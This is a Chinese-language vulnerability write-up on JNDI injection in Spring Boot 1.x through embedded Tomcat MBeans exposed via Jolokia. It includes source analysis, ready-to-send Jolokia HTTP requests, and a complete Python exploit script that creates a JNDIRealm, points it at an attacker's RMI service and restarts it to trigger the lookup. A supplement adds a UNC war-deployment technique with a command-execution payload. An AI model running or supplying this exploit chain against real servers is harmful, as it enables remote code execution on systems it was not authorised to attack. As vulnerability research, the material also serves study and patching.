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Spring Boot Tomcat导致的JNDI注入

一、漏洞简介

二、漏洞影响

Spring Boot 1 - 1.4

三、复现过程

漏洞分析

spring Boot 内嵌了一个 Tomcat，所以在 MBean 列表中列出了 Tomcat 的 MBean。通过漫长的寻找（花了我两三天的晚上），找到了几个比较有意思的且感觉可以利用的 MBean operation。

  1. Tomcat:type=MBeanFactory createJNDIRealm -> JNDI Injection
  2. Tomcat:type=MBeanFactory createJDBCRealm -> JNDI Injection
  3. Tomcat:type=MBeanFactory createDataSourceRealm -> JNDI Injection
  4. Tomcat:type=MBeanFactory createUserDatabaseRealm -> JNDI Injection
  5. Tomcat:type=MBeanFactory createValve -> Create Valve (File Writting, JNDI Injection)

这里举一个 createUserDatabaseRealm 的例子：

  FILE: tomcat-embed-core-8.5.15-sources.jar!\org\apache\catalina\mbeans\MBeanFactory.java
   public String createUserDatabaseRealm(String parent, String resourceName)
       throws Exception {

        // Create a new UserDatabaseRealm instance
       UserDatabaseRealm realm = new UserDatabaseRealm();
       realm.setResourceName(resourceName);

       // Add the new instance to its parent component
       ObjectName pname = new ObjectName(parent);
       Container container = getParentContainerFromParent(pname);
       // Add the new instance to its parent component
       container.setRealm(realm);
       // Return the corresponding MBean name
       ObjectName oname = realm.getObjectName();
       // FIXME getObjectName() returns null
       //ObjectName oname =
       //    MBeanUtils.createObjectName(pname.getDomain(), realm);
       if (oname != null) {
           return (oname.toString());
       } else {
           return null;
       }

   }

调用 setter 把 resourceName 写入。接着在 start Realm 的时候，会调用以下函数：

FILE: tomcat-embed-core\8.5.15-embed-core-8.5.15-sources.jar!.java

   @Override
   protected void startInternal() throws LifecycleException {

       try {
           Context context = getServer().getGlobalNamingContext();
           database = (UserDatabase) context.lookup(resourceName);
       } catch (Throwable e) {
           ExceptionUtils.handleThrowable(e);
           containerLog.error(sm.getString("userDatabaseRealm.lookup",
                                           resourceName),
                              e);
           database = null;
       }
       if (database == null) {
           throw new LifecycleException
               (sm.getString("userDatabaseRealm.noDatabase", resourceName));
       }

       super.startInternal();

   }

是不是非常熟悉的场景？context.lookup(resourceName)，而 resourceName 可控，那么可以直接JNDI 注入了。但是遗憾的是getServer().getGlobalNamingContext() 返回的是 null，所以在lookup的时候抛了 NullPointer 的错误。还有一些奇奇怪怪的 Bug，比如利用 createValve 创建一个JDBCAccessLogValve，但是利用 Jolokia 设置其 driverName 的时候，由于 driverName 没有getter，导致 Jolokia 不能正常设置；再比如 createJDBCRealm 的时候，由于这个方法接受的参数和MBean 导出（mbeans-descriptors.xml）的配置文件内写的参数数量不一致导致无法调用这个 MBean operation。

createJNDIRealm

在多次尝试后，最终我盯上了 createJNDIRealm 这个方法。

FILE: tomcat-embed-core-8.5.15-sources.jar!.java

public String createJNDIRealm(String parent)
    throws Exception {

     // Create a new JNDIRealm instance
    JNDIRealm realm = new JNDIRealm();

    // Add the new instance to its parent component
    ObjectName pname = new ObjectName(parent);
    Container container = getParentContainerFromParent(pname);
    // Add the new instance to its parent component
    container.setRealm(realm);
    // Return the corresponding MBean name
    ObjectName oname = realm.getObjectName();

    if (oname != null) {
        return (oname.toString());
    } else {
        return null;
    }
}

这里只传入了 parent。利用 Burpsuite 先创建这个 Realm。

POST /jolokia/ HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 133
{
    "type": "EXEC",
    "mbean": "Tomcat:type=MBeanFactory",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

创建成功后，我们查看这个 Realm 的 MBean 信息：

realmPath=/realm0,type=Realm: {
    op: {...},
    attr: {
        userPassword: {},
        ...
        connectionURL: {
            rw: true,
            type: "java.lang.String",
            desc: "The connection URL for the server we will contact"
        },
        roleNested: {},
        userSearch: {},
        connectionTimeout: {},
        authentication: {},
        contextFactory: {
            rw: true,
            type: "java.lang.String",
            desc: "The JNDI context factory for this Realm"
        },
        userPattern: {},
        ...
    },
    class: "org.apache.tomcat.util.modeler.BaseModelMBean",
    desc: "Implementation of Realm that works with a directory server a..."
}

注意到两个有意思的属性，connectionURL 和 contextFactory。查看 JNDIRealm 的源码：

FILE: 

   protected Hashtable<String, String> getDirectoryContextEnvironment() {
        Hashtable<String, String> env = new Hashtable();
        if (this.containerLog.isDebugEnabled() && this.connectionAttempt == 0) {
            this.containerLog.debug("Connecting to URL " + this.connectionURL);
        } else if (this.containerLog.isDebugEnabled() && this.connectionAttempt > 0) {
            this.containerLog.debug("Connecting to URL " + this.alternateURL);
        }
        env.put("java.naming.factory.initial", this.contextFactory);
    if (this.connectionName != null) {
        env.put("java.naming.security.principal", this.connectionName);
    }

    if (this.connectionPassword != null) {
        env.put("java.naming.security.credentials", this.connectionPassword);
    }

    if (this.connectionURL != null && this.connectionAttempt == 0) {
        env.put("java.naming.provider.url", this.connectionURL);
    } else if (this.alternateURL != null && this.connectionAttempt > 0) {
        env.put("java.naming.provider.url", this.alternateURL);
    }

    ...

    return env;
}

private DirContext createDirContext(Hashtable<String, String> env) throws NamingException {
    return (DirContext)(this.useStartTls ? this.createTlsDirContext(env) : new InitialDirContext(env));
}

可见 java.naming.factory.initial 和 java.naming.provider.url 我们都可以通过 MBean 来进行修改，接着在 createDirContext 方法，利用刚才的 env 创建了 InitialDirContext 对象。最终可以造成JNDI 注入。于是我满怀欣喜的搭建好 RMI Service，却发现爆了这么一个错误：

javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
    at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495) ~[na:1.8.0_121]
    at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138) ~[na:1.8.0_121]
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) ~[na:1.8.0_121]
    at com.sun.jndi.url.rmi.rmiURLContextFactory.getUsingURL(rmiURLContextFactory.java:71) ~[na:1.8.0_121]
    at com.sun.jndi.url.rmi.rmiURLContextFactory.getObjectInstance(rmiURLContextFactory.java:56) ~[na:1.8.0_121]
    at com.sun.jndi.rmi.registry.RegistryContextFactory.URLToContext(RegistryContextFactory.java:102) ~[na:1.8.0_121]
    at com.sun.jndi.rmi.registry.RegistryContextFactory.getInitialContext(RegistryContextFactory.java:69) ~[na:1.8.0_121]
    ...

漏洞复现

由于 Spring Boot 内嵌了 Tomcat 和 Tomcat EL，可以直接使用文章中的 Exploit。最终 Exploit 触发分为五个步骤。

a. 创建 JNDIRealm b. 写入 connectionURL 为你的 RMI Service URL c. 写入 contextFactory 为 RegistryContextFactory d. 停止 Realm e. 启动 Realm 以触发 JNDI 注入

最终 Exploit 如下：

 import requests, sys, time, pprint

 url = sys.argv[1]

 create_realm = {
     "mbean": "Tomcat:type=MBeanFactory",
     "type": "EXEC",
     "operation": "createJNDIRealm",
     "arguments": ["Tomcat:type=Engine"]
 }

 wirte_factory = {
     "mbean": "Tomcat:realmPath=/realm0,type=Realm",
     "type": "WRITE",
     "attribute": "contextFactory",
     "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
 }

 write_url = {
     "mbean": "Tomcat:realmPath=/realm0,type=Realm",
     "type": "WRITE",
     "attribute": "connectionURL",
     "value": "rmi://localhost:1097/Object"
 }

 stop = {
     "mbean": "Tomcat:realmPath=/realm0,type=Realm",
     "type": "EXEC",
     "operation": "stop",
     "arguments": []
 }

 start = {
     "mbean": "Tomcat:realmPath=/realm0,type=Realm",
     "type": "EXEC",
     "operation": "start",
     "arguments": []
 }

 flow = [create_realm, wirte_factory, write_url, stop, start]

 for i in flow:
     print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
     requests.post(url, json=i).json()

补充

利用UNC部署war文件（只能用于windows）

在 Tomcat Host Manager 这里可以利用 UNC 来部署 war 文件。实际上对于Tomcat:type=MBeanFactory 的createStandardHost，和 Host Manager 这里调用的是相同的方法。所以根据文章所述的方法，我们同样可以在Jolokia 里重现。不过可惜的是这里只对 Windows 有效。 首先去 spring-boot 的 Github 下载 spring-boot-samples-traditional，在 web.xml 里添加如下内容：

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>
        org.apache.catalina.servlets.DefaultServlet
    </servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
    <servlet-name>default</servlet-name>
    <url-pattern>/default</url-pattern>
</servlet-mapping>

然后修改 WebConfig.java，在 dispatcherServlet 添加执行命令的代码：

@Bean
// Only used when running in embedded servlet
public DispatcherServlet dispatcherServlet() throws Exception {
    Runtime.getRuntime().exec("calc");
    return new DispatcherServlet();
}

接着打包成 war 文件放在远程的共享服务器上面，发送如下请求即可：

POST /jolokia HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 192

{
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createStandardHost",
    "arguments": ["Tomcat:type=Engine", "test2", "\\127.0.0.1\test", true, true, true, true]
}